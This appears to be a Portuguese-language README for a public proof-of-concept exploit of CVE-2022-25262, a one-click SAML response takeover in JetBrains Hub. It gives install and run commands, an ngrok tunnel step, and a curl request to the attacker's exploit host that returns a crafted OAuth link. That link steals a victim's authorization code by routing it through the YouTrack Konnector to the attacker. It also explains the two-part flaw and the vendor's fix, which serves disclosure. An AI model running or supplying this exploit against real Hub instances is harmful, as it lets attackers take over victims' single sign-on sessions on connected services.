
PoC + detalhes da vulnerabilidade para CVE-2022-25262 / JetBrains Hub single-click SAML response takeover
PoC + detalhes da vulnerabilidade para CVE-2022-25262 | JetBrains Hub - tomada de resposta SAML com um clique
Instale e execute:
$ git clone https://github.com/yuriisanin/CVE-2022-25262
$ cd CVE-2022-25262/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] [-p P]
optional arguments:
-h, --help mostra esta mensagem de ajuda e sai
-p P Porta do Uvicorn
# Se você executar o exploit na máquina local, pode ser necessário usar Ngrok ou alternativas.
$ ngrok http 8000
Uso:
Parâmetros da consulta:
| Nome | Descrição | Obrigatório |
|---|---|---|
| hub_url | URL da instância Hub alvo | ✅ |
| issuer | Emissor SAML | ✅ |
| acs_url | URL do serviço de consumidor de afirmação | ✅ |
| youtrack_url | URL da instância YouTrack conectada ao Hub (obrigatório se o usuário convidado estiver desabilitado) | ❔ |
Obter link do exploit:
$ curl -v "http://{exploit-host}/get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml"
* Trying {exploit-host-ip}:80...
* Connected to {exploit-host} ({exploit-host-ip}) port 80 (#0)
> GET /get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml HTTP/1.1
> Host: {exploit-host-ip}
> User-Agent: curl/7.77.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Length: 341
< Content-Type: application/json
< Date: Sat, 30 Apr 2022 19:14:45 GMT
< Server: uvicorn
<
* Connection #0 to host {exploit-host-ip} left intact
{"exploit_url":"https://hub.jetbrains.com/api/rest/oauth2/auth?client_id=fd6b45e6-4a91-4574-9fcf-ebc6926f6378&response_type=code&scope=Hub+YouTrack+TeamCity+Upsource+fd6b45e6-4a91-4574-9fcf-ebc6926f6378&state=fhdyaaf&access_type=offline&redirectURI=https://konnector.services.jetbrains.com/ring/oauth"}
DEMONSTRAÇÃO:
A fraqueza consiste em 2 partes:
O IdP SAML funciona como uma extensão do OAuth. Quando um usuário específico deseja fazer login em um provedor de serviço específico, ele passa pelo fluxo de concessão de código de autorização OAuth (solicitações 1-2) e, uma vez obtido o código, ele o retorna ao Hub (solicitação 3). O Hub pega informações sobre o usuário associado ao código e emite uma resposta SAML assinada para o serviço. Embora o IdP SAML use o cliente OAuth2 do Hub (client_id=0-0-0-0-0) para a integração, ele não verifica em nome de qual cliente OAuth o código foi emitido. A única coisa que importa aqui é se o código é válido. Isso pode resultar na tomada da resposta SAML se o atacante encontrar uma maneira de tomar o código de autorização de qualquer cliente OAuth registrado no Hub.

O YouTrack Konnector é um serviço de primeira parte que permite conectar uma instância específica do YouTrack com seu bot do Slack. O serviço recebe o endereço URL de um YouTrack e tanto o id quanto o segredo do cliente OAuth do Konnector (solicitação 1). Em seguida, ele tenta verificar se o URL fornecido aponta para um YouTrack válido chamando vários endpoints da API ("handshake" solicitações 2-3). Se tudo correr bem, o Konnector retornará o URL que permitirá que um usuário específico prossiga com o fluxo de concessão de código OAuth (resposta 1). O URL contém um parâmetro de consulta "state" que ajuda o Konnector a rotear o código de autorização OAuth para o manipulador adequado (instância Hub). Um atacante poderia criar um host com endpoints necessários para o "handshake" e obter um parâmetro "state" que aponte para o host do atacante. Depois disso, um atacante poderia criar um URL de autorização OAuth e enviá-lo a uma vítima. Se a vítima clicar no link e terminar o fluxo OAuth (a vítima precisa ter uma sessão válida no Hub), o serviço Konnector receberá o código e o enviará para o host do atacante (solicitações 4-6).

A equipe do YouTrack adicionou uma verificação que permite o uso de códigos de autorização emitidos para o cliente OAuth "JetBrains Hub Service" durante o processo de troca "OAuth2 -> SAML". Consequentemente, não há como trocar códigos de autorização emitidos para o cliente OAuth "YouTrack Konnector".